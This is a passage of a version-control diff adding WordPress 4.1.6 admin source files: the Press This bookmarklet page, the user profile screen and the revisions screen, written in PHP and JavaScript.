+		wp_die(__('You are not allowed to edit this post.'));
+
+	$post['post_category'] = isset($_POST['post_category']) ? $_POST['post_category'] : '';
+	$post['tax_input'] = isset($_POST['tax_input']) ? $_POST['tax_input'] : '';
+	$post['post_title'] = isset($_POST['title']) ? $_POST['title'] : '';
+	$content = isset($_POST['content']) ? $_POST['content'] : '';
+
+	$upload = false;
+	if ( !empty($_POST['photo_src']) && current_user_can('upload_files') ) {
+		foreach( (array) $_POST['photo_src'] as $key => $image) {
+			// See if files exist in content - we don't want to upload non-used selected files.
+			if ( strpos($_POST['content'], htmlspecialchars($image)) !== false ) {
+				$desc = isset($_POST['photo_description'][$key]) ? $_POST['photo_description'][$key] : '';
+				$upload = media_sideload_image($image, $post_ID, $desc);
+
+				// Replace the POSTED content <img> with correct uploaded ones. Regex contains fix for Magic Quotes
+				if ( !is_wp_error($upload) )
+					$content = preg_replace('/<img ([^>]*)src=\\\?(\"|\')'.preg_quote(htmlspecialchars($image), '/').'\\\?(\2)([^>\/]*)\/*>/is', $upload, $content);
+			}
+		}
+	}
+	// Set the post_content and status.
+	$post['post_content'] = $content;
+	if ( isset( $_POST['publish'] ) && current_user_can( 'publish_posts' ) )
+		$post['post_status'] = 'publish';
+	elseif ( isset( $_POST['review'] ) )
+		$post['post_status'] = 'pending';
+	else
+		$post['post_status'] = 'draft';
+
+	// Error handling for media_sideload.
+	if ( is_wp_error($upload) ) {
+		wp_delete_post($post_ID);
+		wp_die( esc_html( $upload->get_error_message() ) );
+	} else {
+		// Post formats.
+		if ( isset( $_POST['post_format'] ) ) {
+			if ( current_theme_supports( 'post-formats', $_POST['post_format'] ) )
+				set_post_format( $post_ID, $_POST['post_format'] );
+			elseif ( '0' == $_POST['post_format'] )
+				set_post_format( $post_ID, false );
+		}
+
+		$post_ID = wp_update_post($post);
+	}
+
+	return $post_ID;
+}
+
+// For submitted posts.
+if ( isset($_REQUEST['action']) && 'post' == $_REQUEST['action'] ) {
+	check_admin_referer('press-this');
+	$posted = $post_ID = press_it();
+} else {
+	$post = get_default_post_to_edit('post', true);
+	$post_ID = $post->ID;
+}
+
+// Set Variables
+$title = isset( $_GET['t'] ) ? trim( strip_tags( html_entity_decode( wp_unslash( $_GET['t'] ) , ENT_QUOTES) ) ) : '';
+
+$selection = '';
+if ( !empty($_GET['s']) ) {
+	$selection = str_replace('&apos;', "'", wp_unslash($_GET['s']));
+	$selection = trim( htmlspecialchars( html_entity_decode($selection, ENT_QUOTES) ) );
+}
+
+if ( ! empty($selection) ) {
+	$selection = preg_replace('/(\r?\n|\r)/', '</p><p>', $selection);
+	$selection = '<p>' . str_replace('<p></p>', '', $selection) . '</p>';
+}
+
+$url = isset($_GET['u']) ? esc_url($_GET['u']) : '';
+$image = isset($_GET['i']) ? $_GET['i'] : '';
+
+if ( !empty($_REQUEST['ajax']) ) {
+	switch ($_REQUEST['ajax']) {
+		case 'video': ?>
+			<script type="text/javascript">
+			/* <![CDATA[ */
+				jQuery('.select').click(function() {
+					append_editor(jQuery('#embed-code').val());
+					jQuery('#extra-fields').hide();
+					jQuery('#extra-fields').html('');
+				});
+				jQuery('.close').click(function() {
+					jQuery('#extra-fields').hide();
+					jQuery('#extra-fields').html('');
+				});
+			/* ]]> */
+			</script>
+			<div class="postbox">
+				<h2><label for="embed-code"><?php _e('Embed Code') ?></label></h2>
+				<div class="inside">
+					<textarea name="embed-code" id="embed-code" rows="8" cols="40"><?php echo esc_textarea( $selection ); ?></textarea>
+					<p id="options"><a href="#" class="select button"><?php _e('Insert Video'); ?></a> <a href="#" class="close button"><?php _e('Cancel'); ?></a></p>
+				</div>
+			</div>
+			<?php break;
+
+		case 'photo_thickbox': ?>
+			<script type="text/javascript">
+				/* <![CDATA[ */
+				jQuery('.cancel').click(function() {
+					tb_remove();
+				});
+				jQuery('.select').click(function() {
+					image_selector(this);
+				});
+				/* ]]> */
+			</script>
+			<h3 class="tb"><label for="tb_this_photo_description"><?php _e('Description') ?></label></h3>
+			<div class="titlediv">
+				<div class="titlewrap">
+					<input id="tb_this_photo_description" name="photo_description" class="tb_this_photo_description tbtitle text" type="text" onkeypress="if(event.keyCode==13) image_selector(this);" value="<?php echo esc_attr($title);?>"/>
+				</div>
+			</div>
+
+			<p class="centered">
+				<input type="hidden" name="this_photo" value="<?php echo esc_attr( $image ); ?>" id="tb_this_photo" class="tb_this_photo" />
+				<a href="#" class="select">
+					<img src="<?php echo esc_url( $image ); ?>" alt="<?php esc_attr_e( 'Click to insert.' ); ?>" title="<?php esc_attr_e( 'Click to insert.' ); ?>" />
+				</a>
+			</p>
+
+			<p id="options"><a href="#" class="select button"><?php _e('Insert Image'); ?></a> <a href="#" class="cancel button"><?php _e('Cancel'); ?></a></p>
+			<?php break;
+	case 'photo_images':
+		/**
+		 * Retrieve all image URLs from given URI.
+		 *
+		 * @since 2.6.0
+		 *
+		 * @param string $uri
+		 * @return string
+		 */
+		function get_images_from_uri($uri) {
+			$uri = preg_replace('/\/#.+?$/','', $uri);
+			if ( preg_match( '/\.(jpe?g|jpe|gif|png)\b/i', $uri ) && !strpos( $uri, 'blogger.com' ) )
+				return "'" . esc_attr( html_entity_decode($uri) ) . "'";
+			$content = wp_remote_fopen($uri);
+			if ( false === $content )
+				return '';
+			$host = parse_url($uri);
+			$pattern = '/<img ([^>]*)src=(\"|\')([^<>\'\"]+)(\2)([^>]*)\/*>/i';
+			$content = str_replace(array("\n","\t","\r"), '', $content);
+			preg_match_all($pattern, $content, $matches);
+			if ( empty($matches[0]) )
+				return '';
+			$sources = array();
+			foreach ($matches[3] as $src) {
+
+				// If no http in URL.
+				if (strpos($src, 'http') === false)
+					// If it doesn't have a relative URI.
+					if ( strpos($src, '../') === false && strpos($src, './') === false && strpos($src, '/') === 0)
+						$src = 'http://'.str_replace('//','/', $host['host'].'/'.$src);
+					else
+						$src = 'http://'.str_replace('//','/', $host['host'].'/'.dirname($host['path']).'/'.$src);
+				$sources[] = esc_url($src);
+			}
+			return "'" . implode("','", $sources) . "'";
+		}
+		$url = wp_kses(urldecode($url), null);
+		echo 'new Array('.get_images_from_uri($url).')';
+		break;
+
+	case 'photo_js': ?>
+		// Gather images and load some default JS.
+		var last = null
+		var img, img_tag, aspect, w, h, skip, i, strtoappend = "";
+		if(photostorage == false) {
+		var my_src = eval(
+			jQuery.ajax({
+				type: "GET",
+				url: "<?php echo esc_url($_SERVER['PHP_SELF']); ?>",
+				cache : false,
+				async : false,
+				data: "ajax=photo_images&u=<?php echo urlencode($url); ?>",
+				dataType : "script"
+			}).responseText
+		);
+		if(my_src.length == 0) {
+			var my_src = eval(
+				jQuery.ajax({
+					type: "GET",
+					url: "<?php echo esc_url($_SERVER['PHP_SELF']); ?>",
+					cache : false,
+					async : false,
+					data: "ajax=photo_images&u=<?php echo urlencode($url); ?>",
+					dataType : "script"
+				}).responseText
+			);
+			if(my_src.length == 0) {
+				strtoappend = '<?php _e('Unable to retrieve images or no images on page.'); ?>';
+			}
+		}
+		}
+		for (i = 0; i < my_src.length; i++) {
+			img = new Image();
+			img.src = my_src[i];
+			img_attr = 'id="img' + i + '"';
+			skip = false;
+
+			maybeappend = '<a href="?ajax=photo_thickbox&amp;i=' + encodeURIComponent(img.src) + '&amp;u=<?php echo urlencode($url); ?>&amp;height=400&amp;width=500" title="" class="thickbox"><img src="' + img.src + '" ' + img_attr + '/></a>';
+
+			if (img.width && img.height) {
+				if (img.width >= 30 && img.height >= 30) {
+					aspect = img.width / img.height;
+					scale = (aspect > 1) ? (71 / img.width) : (71 / img.height);
+
+					w = img.width;
+					h = img.height;
+
+					if (scale < 1) {
+						w = parseInt(img.width * scale);
+						h = parseInt(img.height * scale);
+					}
+					img_attr += ' style="width: ' + w + 'px; height: ' + h + 'px;"';
+					strtoappend += maybeappend;
+				}
+			} else {
+				strtoappend += maybeappend;
+			}
+		}
+
+		function pick(img, desc) {
+			if (img) {
+				if('object' == typeof jQuery('.photolist input') && jQuery('.photolist input').length != 0) length = jQuery('.photolist input').length;
+				if(length == 0) length = 1;
+				jQuery('.photolist').append('<input name="photo_src[' + length + ']" value="' + img +'" type="hidden"/>');
+				jQuery('.photolist').append('<input name="photo_description[' + length + ']" value="' + desc +'" type="hidden"/>');
+				insert_editor( "\n\n" + encodeURI('<p style="text-align: center;"><a href="<?php echo $url; ?>"><img src="' + img +'" alt="' + desc + '" /></a></p>'));
+			}
+			return false;
+		}
+
+		function image_selector(el) {
+			var desc, src, parent = jQuery(el).closest('#photo-add-url-div');
+
+			if ( parent.length ) {
+				desc = parent.find('input.tb_this_photo_description').val() || '';
+				src = parent.find('input.tb_this_photo').val() || ''
+			} else {
+				desc = jQuery('#tb_this_photo_description').val() || '';
+				src = jQuery('#tb_this_photo').val() || ''
+			}
+
+			tb_remove();
+			pick(src, desc);
+			jQuery('#extra-fields').hide();
+			jQuery('#extra-fields').html('');
+			return false;
+		}
+
+		jQuery('#extra-fields').html('<div class="postbox"><h2><?php _e( 'Add Photos' ); ?> <small id="photo_directions">(<?php _e("click images to select") ?>)</small></h2><ul class="actions"><li><a href="#" id="photo-add-url" class="button button-small"><?php _e("Add from URL") ?> +</a></li></ul><div class="inside"><div class="titlewrap"><div id="img_container"></div></div><p id="options"><a href="#" class="close button"><?php _e('Cancel'); ?></a><a href="#" class="refresh button"><?php _e('Refresh'); ?></a></p></div>');
+		jQuery('#img_container').html(strtoappend);
+		<?php break;
+}
+die;
+}
+
+	wp_enqueue_style( 'colors' );
+	wp_enqueue_script( 'post' );
+	add_thickbox();
+	_wp_admin_html_begin();
+?>
+<title><?php _e('Press This') ?></title>
+<script type="text/javascript">
+//<![CDATA[
+addLoadEvent = function(func){if(typeof jQuery!="undefined")jQuery(document).ready(func);else if(typeof wpOnload!='function'){wpOnload=func;}else{var oldonload=wpOnload;wpOnload=function(){oldonload();func();}}};
+var ajaxurl = '<?php echo admin_url( 'admin-ajax.php', 'relative' ); ?>', pagenow = 'press-this', isRtl = <?php echo (int) is_rtl(); ?>;
+var photostorage = false;
+//]]>
+</script>
+
+<?php
+	/** This action is documented in wp-admin/admin-header.php */
+	do_action( 'admin_enqueue_scripts', 'press-this.php' );
+
+	/**
+	 * Fires when styles are printed for the Press This admin page.
+	 *
+	 * @since 3.7.0
+	 */
+	do_action( 'admin_print_styles-press-this.php' );
+
+	/** This action is documented in wp-admin/admin-header.php */
+	do_action( 'admin_print_styles' );
+
+	/**
+	 * Fires when scripts are printed for the Press This admin page.
+	 *
+	 * @since 3.7.0
+	 */
+	do_action( 'admin_print_scripts-press-this.php' );
+
+	/** This action is documented in wp-admin/admin-header.php */
+	do_action( 'admin_print_scripts' );
+
+	/**
+	 * Fires in the head tag on the Press This admin page.
+	 *
+	 * @since 3.7.0
+	 */
+	do_action( 'admin_head-press-this.php' );
+
+	/** This action is documented in wp-admin/admin-header.php */
+	do_action( 'admin_head' );
+?>
+	<script type="text/javascript">
+	var wpActiveEditor = 'content';
+
+	function insert_plain_editor(text) {
+		if ( typeof(QTags) != 'undefined' )
+			QTags.insertContent(text);
+	}
+	function set_editor(text) {
+		if ( '' == text || '<p></p>' == text )
+			text = '<p><br /></p>';
+
+		if ( tinyMCE.activeEditor )
+			tinyMCE.execCommand('mceSetContent', false, text);
+	}
+	function insert_editor(text) {
+		if ( '' != text && tinyMCE.activeEditor && ! tinyMCE.activeEditor.isHidden()) {
+			tinyMCE.execCommand('mceInsertContent', false, '<p>' + decodeURI(tinymce.DOM.decode(text)) + '</p>', {format : 'raw'});
+		} else {
+			insert_plain_editor(decodeURI(text));
+		}
+	}
+	function append_editor(text) {
+		if ( '' != text && tinyMCE.activeEditor && ! tinyMCE.activeEditor.isHidden()) {
+			tinyMCE.execCommand('mceSetContent', false, tinyMCE.activeEditor.getContent({format : 'raw'}) + '<p>' + text + '</p>');
+		} else {
+			insert_plain_editor(text);
+		}
+	}
+
+	function show(tab_name) {
+		jQuery('#extra-fields').html('');
+		switch(tab_name) {
+			case 'video' :
+				jQuery('#extra-fields').load('<?php echo esc_url($_SERVER['PHP_SELF']); ?>', { ajax: 'video', s: '<?php echo esc_attr($selection); ?>'}, function() {
+					<?php
+					$content = '';
+					if ( preg_match("/youtube\.com\/watch/i", $url) ) {
+						list($domain, $video_id) = explode("v=", $url);
+						$video_id = esc_attr($video_id);
+						$content = '<object width="425" height="350"><param name="movie" value="http://www.youtube.com/v/' . $video_id . '"></param><param name="wmode" value="transparent"></param><embed src="http://www.youtube.com/v/' . $video_id . '" type="application/x-shockwave-flash" wmode="transparent" width="425" height="350"></embed></object>';
+
+					} elseif ( preg_match("/vimeo\.com\/[0-9]+/i", $url) ) {
+						list($domain, $video_id) = explode(".com/", $url);
+						$video_id = esc_attr($video_id);
+						$content = '<object width="400" height="225"><param name="allowfullscreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="movie" value="http://www.vimeo.com/moogaloop.swf?clip_id=' . $video_id . '&amp;server=www.vimeo.com&amp;show_title=1&amp;show_byline=1&amp;show_portrait=0&amp;color=&amp;fullscreen=1" />	<embed src="http://www.vimeo.com/moogaloop.swf?clip_id=' . $video_id . '&amp;server=www.vimeo.com&amp;show_title=1&amp;show_byline=1&amp;show_portrait=0&amp;color=&amp;fullscreen=1" type="application/x-shockwave-flash" allowfullscreen="true" allowscriptaccess="always" width="400" height="225"></embed></object>';
+
+						if ( trim($selection) == '' )
+							$selection = '<p><a href="http://www.vimeo.com/' . $video_id . '?pg=embed&sec=' . $video_id . '">' . $title . '</a> on <a href="http://vimeo.com?pg=embed&sec=' . $video_id . '">Vimeo</a></p>';
+
+					} elseif ( strpos( $selection, '<object' ) !== false ) {
+						$content = $selection;
+					}
+					?>
+					jQuery('#embed-code').prepend('<?php echo htmlentities($content); ?>');
+				});
+				jQuery('#extra-fields').show();
+				return false;
+				break;
+			case 'photo' :
+				function setup_photo_actions() {
+					jQuery('.close').click(function() {
+						jQuery('#extra-fields').hide();
+						jQuery('#extra-fields').html('');
+					});
+					jQuery('.refresh').click(function() {
+						photostorage = false;
+						show('photo');
+					});
+					jQuery('#photo-add-url').click(function(){
+						var form = jQuery('#photo-add-url-div').clone();
+						jQuery('#img_container').empty().append( form.show() );
+					});
+					jQuery('#waiting').hide();
+					jQuery('#extra-fields').show();
+				}
+
+				jQuery('#waiting').show();
+				if(photostorage == false) {
+					jQuery.ajax({
+						type: "GET",
+						cache : false,
+						url: "<?php echo esc_url($_SERVER['PHP_SELF']); ?>",
+						data: "ajax=photo_js&u=<?php echo urlencode($url)?>",
+						dataType : "script",
+						success : function(data) {
+							eval(data);
+							photostorage = jQuery('#extra-fields').html();
+							setup_photo_actions();
+						}
+					});
+				} else {
+					jQuery('#extra-fields').html(photostorage);
+					setup_photo_actions();
+				}
+				return false;
+				break;
+		}
+	}
+	jQuery(document).ready(function($) {
+		var $contnet = $( '#content' );
+
+		// Resize screen.
+		window.resizeTo(760,580);
+
+		// Set button actions.
+		jQuery('#photo_button').click(function() { show('photo'); return false; });
+		jQuery('#video_button').click(function() { show('video'); return false; });
+
+		// Auto select.
+		<?php if ( preg_match("/youtube\.com\/watch/i", $url) ) { ?>
+			show('video');
+		<?php } elseif ( preg_match("/vimeo\.com\/[0-9]+/i", $url) ) { ?>
+			show('video');
+		<?php } elseif ( preg_match("/flickr\.com/i", $url) ) { ?>
+			show('photo');
+		<?php } ?>
+		jQuery('#title').unbind();
+		jQuery('#publish, #save').click(function() { jQuery('.press-this #publishing-actions .spinner').css('display', 'inline-block'); });
+
+		$('#tagsdiv-post_tag, #categorydiv').children('h3, .handlediv').click(function(){
+			$(this).siblings('.inside').toggle();
+		});
+
+		if ( $( '#wp-content-wrap' ).hasClass( 'html-active' ) && window.switchEditors &&
+			( tinyMCEPreInit.mceInit.content && tinyMCEPreInit.mceInit.content.wpautop ) ) {
+			// The Text editor is default, run the initial content through pre_wpautop() to convert the paragraphs
+			$contnet.text( window.switchEditors.pre_wpautop( $contnet.text() ) );
+		}
+	});
+</script>
+</head>
+<?php
+$admin_body_class = ( is_rtl() ) ? 'rtl' : '';
+$admin_body_class .= ' locale-' . sanitize_html_class( strtolower( str_replace( '_', '-', get_locale() ) ) );
+?>
+<body class="press-this wp-admin wp-core-ui <?php echo $admin_body_class; ?>">
+<form action="press-this.php?action=post" method="post">
+<div id="poststuff" class="metabox-holder">
+	<div id="side-sortables" class="press-this-sidebar">
+		<div class="sleeve">
+			<?php wp_nonce_field('press-this') ?>
+			<input type="hidden" name="post_type" id="post_type" value="text"/>
+			<input type="hidden" name="autosave" id="autosave" />
+			<input type="hidden" id="original_post_status" name="original_post_status" value="draft" />
+			<input type="hidden" id="prev_status" name="prev_status" value="draft" />
+			<input type="hidden" id="post_id" name="post_id" value="<?php echo (int) $post_ID; ?>" />
+
+			<!-- This div holds the photo metadata -->
+			<div class="photolist"></div>
+
+			<div id="submitdiv" class="postbox">
+				<div class="handlediv" title="<?php esc_attr_e( 'Click to toggle' ); ?>"><br /></div>
+				<h3 class="hndle"><?php _e('Press This') ?></h3>
+				<div class="inside">
+					<p id="publishing-actions">
+					<?php
+						submit_button( __( 'Save Draft' ), 'button', 'draft', false, array( 'id' => 'save' ) );
+						if ( current_user_can('publish_posts') ) {
+							submit_button( __( 'Publish' ), 'primary', 'publish', false );
+						} else {
+							echo '<br /><br />';
+							submit_button( __( 'Submit for Review' ), 'primary', 'review', false );
+						} ?>
+						<span class="spinner" style="display: none;"></span>
+					</p>
+					<?php if ( current_theme_supports( 'post-formats' ) && post_type_supports( 'post', 'post-formats' ) ) :
+							$post_formats = get_theme_support( 'post-formats' );
+							if ( is_array( $post_formats[0] ) ) :
+								$default_format = get_option( 'default_post_format', '0' );
+						?>
+					<p>
+						<label for="post_format"><?php _e( 'Post Format:' ); ?>
+						<select name="post_format" id="post_format">
+							<option value="0"><?php echo get_post_format_string( 'standard' ); ?></option>
+						<?php foreach ( $post_formats[0] as $format ): ?>
+							<option<?php selected( $default_format, $format ); ?> value="<?php echo esc_attr( $format ); ?>"> <?php echo esc_html( get_post_format_string( $format ) ); ?></option>
+						<?php endforeach; ?>
+						</select></label>
+					</p>
+					<?php endif; endif; ?>
+				</div>
+			</div>
+
+			<?php $tax = get_taxonomy( 'category' ); ?>
+			<div id="categorydiv" class="postbox">
+				<div class="handlediv" title="<?php esc_attr_e( 'Click to toggle' ); ?>"><br /></div>
+				<h3 class="hndle"><?php _e('Categories') ?></h3>
+				<div class="inside">
+				<div id="taxonomy-category" class="categorydiv">
+
+					<ul id="category-tabs" class="category-tabs">
+						<li class="tabs"><a href="#category-all"><?php echo $tax->labels->all_items; ?></a></li>
+						<li class="hide-if-no-js"><a href="#category-pop"><?php _e( 'Most Used' ); ?></a></li>
+					</ul>
+
+					<div id="category-pop" class="tabs-panel" style="display: none;">
+						<ul id="categorychecklist-pop" class="categorychecklist form-no-clear" >
+							<?php $popular_ids = wp_popular_terms_checklist( 'category' ); ?>
+						</ul>
+					</div>
+
+					<div id="category-all" class="tabs-panel">
+						<ul id="categorychecklist" data-wp-lists="list:category" class="categorychecklist form-no-clear">
+							<?php wp_terms_checklist($post_ID, array( 'taxonomy' => 'category', 'popular_cats' => $popular_ids ) ) ?>
+						</ul>
+					</div>
+
+					<?php if ( !current_user_can($tax->cap->assign_terms) ) : ?>
+					<p><em><?php _e('You cannot modify this Taxonomy.'); ?></em></p>
+					<?php endif; ?>
+					<?php if ( current_user_can($tax->cap->edit_terms) ) : ?>
+						<div id="category-adder" class="wp-hidden-children">
+							<h4>
+								<a id="category-add-toggle" href="#category-add" class="hide-if-no-js">
+									<?php printf( __( '+ %s' ), $tax->labels->add_new_item ); ?>
+								</a>
+							</h4>
+							<p id="category-add" class="category-add wp-hidden-child">
+								<label class="screen-reader-text" for="newcategory"><?php echo $tax->labels->add_new_item; ?></label>
+								<input type="text" name="newcategory" id="newcategory" class="form-required form-input-tip" value="<?php echo esc_attr( $tax->labels->new_item_name ); ?>" aria-required="true"/>
+								<label class="screen-reader-text" for="newcategory_parent">
+									<?php echo $tax->labels->parent_item_colon; ?>
+								</label>
+								<?php wp_dropdown_categories( array( 'taxonomy' => 'category', 'hide_empty' => 0, 'name' => 'newcategory_parent', 'orderby' => 'name', 'hierarchical' => 1, 'show_option_none' => '&mdash; ' . $tax->labels->parent_item . ' &mdash;' ) ); ?>
+								<input type="button" id="category-add-submit" data-wp-lists="add:categorychecklist:category-add" class="button category-add-submit" value="<?php echo esc_attr( $tax->labels->add_new_item ); ?>" />
+								<?php wp_nonce_field( 'add-category', '_ajax_nonce-add-category', false ); ?>
+								<span id="category-ajax-response"></span>
+							</p>
+						</div>
+					<?php endif; ?>
+				</div>
+				</div>
+			</div>
+
+			<div id="tagsdiv-post_tag" class="postbox">
+				<div class="handlediv" title="<?php esc_attr_e( 'Click to toggle' ); ?>"><br /></div>
+				<h3><span><?php _e('Tags'); ?></span></h3>
+				<div class="inside">
+					<div class="tagsdiv" id="post_tag">
+						<div class="jaxtag">
+							<label class="screen-reader-text" for="newtag"><?php _e('Tags'); ?></label>
+							<input type="hidden" name="tax_input[post_tag]" class="the-tags" id="tax-input[post_tag]" value="" />
+							<div class="ajaxtag">
+								<input type="text" name="newtag[post_tag]" class="newtag form-input-tip" size="16" autocomplete="off" value="" />
+								<input type="button" class="button tagadd" value="<?php esc_attr_e('Add'); ?>" />
+							</div>
+						</div>
+						<div class="tagchecklist"></div>
+					</div>
+					<p class="tagcloud-link"><a href="#titlediv" class="tagcloud-link" id="link-post_tag"><?php _e('Choose from the most used tags'); ?></a></p>
+				</div>
+			</div>
+		</div>
+	</div>
+	<div class="posting">
+
+		<div id="wphead">
+			<h1 id="site-heading">
+				<a href="<?php echo get_option('home'); ?>/" target="_blank">
+					<span id="site-title"><?php bloginfo('name'); ?></span>
+				</a>
+			</h1>
+		</div>
+
+		<?php
+		if ( isset($posted) && intval($posted) ) {
+			$post_ID = intval($posted); ?>
+			<div id="message" class="updated">
+			<p><strong><?php _e('Your post has been saved.'); ?></strong>
+			<a onclick="window.opener.location.replace(this.href); window.close();" href="<?php echo get_permalink($post_ID); ?>"><?php _e('View post'); ?></a>
+			| <a href="<?php echo get_edit_post_link( $post_ID ); ?>" onclick="window.opener.location.replace(this.href); window.close();"><?php _e('Edit Post'); ?></a>
+			| <a href="#" onclick="window.close();"><?php _e('Close Window'); ?></a></p>
+			</div>
+		<?php } ?>
+
+		<div id="titlediv">
+			<div class="titlewrap">
+				<input name="title" id="title" class="text" type="text" value="<?php echo esc_attr($title);?>"/>
+			</div>
+		</div>
+
+		<div id="waiting" style="display: none"><span class="spinner"></span> <span><?php esc_html_e( 'Loading&hellip;' ); ?></span></div>
+
+		<div id="extra-fields" style="display: none"></div>
+
+		<div class="postdivrich">
+		<?php
+
+		$editor_settings = array(
+			'teeny' => true,
+			'textarea_rows' => '15'
+		);
+
+		$content = '';
+		if ( $selection )
+			$content .= $selection;
+
+		if ( $url ) {
+			$content .= '<p>';
+
+			if ( $selection )
+				$content .= __('via ');
+
+			$content .= sprintf( "<a href='%s'>%s</a>.</p>", esc_url( $url ), esc_html( $title ) );
+		}
+
+		remove_action( 'media_buttons', 'media_buttons' );
+		add_action( 'media_buttons', 'press_this_media_buttons' );
+		function press_this_media_buttons() {
+			_e( 'Add:' );
+
+			if ( current_user_can('upload_files') ) {
+				?>
+				<a id="photo_button" title="<?php esc_attr_e('Insert an Image'); ?>" href="#">
+				<img alt="<?php esc_attr_e('Insert an Image'); ?>" src="<?php echo esc_url( admin_url( 'images/media-button-image.gif?ver=20100531' ) ); ?>"/></a>
+				<?php
+			}
+			?>
+			<a id="video_button" title="<?php esc_attr_e('Embed a Video'); ?>" href="#"><img alt="<?php esc_attr_e('Embed a Video'); ?>" src="<?php echo esc_url( admin_url( 'images/media-button-video.gif?ver=20100531' ) ); ?>"/></a>
+			<?php
+		}
+
+		wp_editor( $content, 'content', $editor_settings );
+
+		?>
+		</div>
+	</div>
+</div>
+</form>
+<div id="photo-add-url-div" style="display:none;">
+	<table><tr>
+	<td><label for="this_photo"><?php _e('URL') ?></label></td>
+	<td><input type="text" id="this_photo" name="this_photo" class="tb_this_photo text" onkeypress="if(event.keyCode==13) image_selector(this);" /></td>
+	</tr><tr>
+	<td><label for="this_photo_description"><?php _e('Description') ?></label></td>
+	<td><input type="text" id="this_photo_description" name="photo_description" class="tb_this_photo_description text" onkeypress="if(event.keyCode==13) image_selector(this);" value="<?php echo esc_attr($title);?>"/></td>
+	</tr><tr>
+	<td><input type="button" class="button" onclick="image_selector(this)" value="<?php esc_attr_e('Insert Image'); ?>" /></td>
+	</tr></table>
+</div>
+<?php
+/** This action is documented in wp-admin/admin-footer.php */
+do_action( 'admin_footer' );
+/** This action is documented in wp-admin/admin-footer.php */
+do_action( 'admin_print_footer_scripts' );
+?>
+<script type="text/javascript">if(typeof wpOnload=='function')wpOnload();</script>
+</body>
+</html>
Index: /tags/4.1.6/src/wp-admin/profile.php
===================================================================
--- /tags/4.1.6/src/wp-admin/profile.php	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/profile.php	(revision 33402)
@@ -0,0 +1,18 @@
+<?php
+/**
+ * User Profile Administration Screen.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+/**
+ * This is a profile page.
+ *
+ * @since 2.5.0
+ * @var bool
+ */
+define('IS_PROFILE_PAGE', true);
+
+/** Load User Editing Page */
+require_once( dirname( __FILE__ ) . '/user-edit.php' );
Index: /tags/4.1.6/src/wp-admin/revision.php
===================================================================
--- /tags/4.1.6/src/wp-admin/revision.php	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/revision.php	(revision 33402)
@@ -0,0 +1,135 @@
+<?php
+/**
+ * Revisions administration panel
+ *
+ * Requires wp-admin/includes/revision.php.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ * @since 2.6.0
+ *
+ * @param int    revision Optional. The revision ID.
+ * @param string action   The action to take.
+ *                        Accepts 'restore', 'view' or 'edit'.
+ * @param int    from     The revision to compare from.
+ * @param int    to       Optional, required if revision missing. The revision to compare to.
+ */
+
+/** WordPress Administration Bootstrap */
+require_once( dirname( __FILE__ ) . '/admin.php' );
+
+require ABSPATH . 'wp-admin/includes/revision.php';
+
+wp_reset_vars( array( 'revision', 'action', 'from', 'to' ) );
+
+$revision_id = absint( $revision );
+
+$from = is_numeric( $from ) ? absint( $from ) : null;
+if ( ! $revision_id )
+	$revision_id = absint( $to );
+$redirect = 'edit.php';
+
+switch ( $action ) {
+case 'restore' :
+	if ( ! $revision = wp_get_post_revision( $revision_id ) )
+		break;
+
+	if ( ! current_user_can( 'edit_post', $revision->post_parent ) )
+		break;
+
+	if ( ! $post = get_post( $revision->post_parent ) )
+		break;
+
+	// Revisions disabled (previously checked autosaves && ! wp_is_post_autosave( $revision ))
+	if ( ! wp_revisions_enabled( $post ) ) {
+		$redirect = 'edit.php?post_type=' . $post->post_type;
+		break;
+	}
+
+	// Don't allow revision restore when post is locked
+	if ( wp_check_post_lock( $post->ID ) )
+		break;
+
+	check_admin_referer( "restore-post_{$revision->ID}" );
+
+	wp_restore_post_revision( $revision->ID );
+	$redirect = add_query_arg( array( 'message' => 5, 'revision' => $revision->ID ), get_edit_post_link( $post->ID, 'url' ) );
+	break;
+case 'view' :
+case 'edit' :
+default :
+	if ( ! $revision = wp_get_post_revision( $revision_id ) )
+		break;
+	if ( ! $post = get_post( $revision->post_parent ) )
+		break;
+
+	if ( ! current_user_can( 'read_post', $revision->ID ) || ! current_user_can( 'read_post', $post->ID ) )
+		break;
+
+	// Revisions disabled and we're not looking at an autosave
+	if ( ! wp_revisions_enabled( $post ) && ! wp_is_post_autosave( $revision ) ) {
+		$redirect = 'edit.php?post_type=' . $post->post_type;
+		break;
+	}
+
+	$post_edit_link = get_edit_post_link();
+	$post_title     = '<a href="' . $post_edit_link . '">' . _draft_or_post_title() . '</a>';
+	$h2             = sprintf( __( 'Compare Revisions of &#8220;%1$s&#8221;' ), $post_title );
+	$return_to_post = '<a href="' . $post_edit_link . '">' . __( '&larr; Return to post editor' ) . '</a>';
+	$title          = __( 'Revisions' );
+
+	$redirect = false;
+	break;
+}
+
+// Empty post_type means either malformed object found, or no valid parent was found.
+if ( ! $redirect && empty( $post->post_type ) )
+	$redirect = 'edit.php';
+
+if ( ! empty( $redirect ) ) {
+	wp_redirect( $redirect );
+	exit;
+}
+
+// This is so that the correct "Edit" menu item is selected.
+if ( ! empty( $post->post_type ) && 'post' != $post->post_type )
+	$parent_file = $submenu_file = 'edit.php?post_type=' . $post->post_type;
+else
+	$parent_file = $submenu_file = 'edit.php';
+
+wp_enqueue_script( 'revisions' );
+wp_localize_script( 'revisions', '_wpRevisionsSettings', wp_prepare_revisions_for_js( $post, $revision_id, $from ) );
+
+/* Revisions Help Tab */
+
+$revisions_overview  = '<p>' . __( 'This screen is used for managing your content revisions.' ) . '</p>';
+$revisions_overview .= '<p>' . __( 'Revisions are saved copies of your post or page, which are periodically created as you update your content. The red text on the left shows the content that was removed. The green text on the right shows the content that was added.' ) . '</p>';
+$revisions_overview .= '<p>' . __( 'From this screen you can review, compare, and restore revisions:' ) . '</p>';
+$revisions_overview .= '<ul><li>' . __( 'To navigate between revisions, <strong>drag the slider handle left or right</strong> or <strong>use the Previous or Next buttons</strong>.' ) . '</li>';
+$revisions_overview .= '<li>' . __( 'Compare two different revisions by <strong>selecting the &#8220;Compare any two revisions&#8221; box</strong> to the side.' ) . '</li>';
+$revisions_overview .= '<li>' . __( 'To restore a revision, <strong>click Restore This Revision</strong>.' ) . '</li></ul>';
+
+get_current_screen()->add_help_tab( array(
+	'id'      => 'revisions-overview',
+	'title'   => __( 'Overview' ),
+	'content' => $revisions_overview
+) );
+
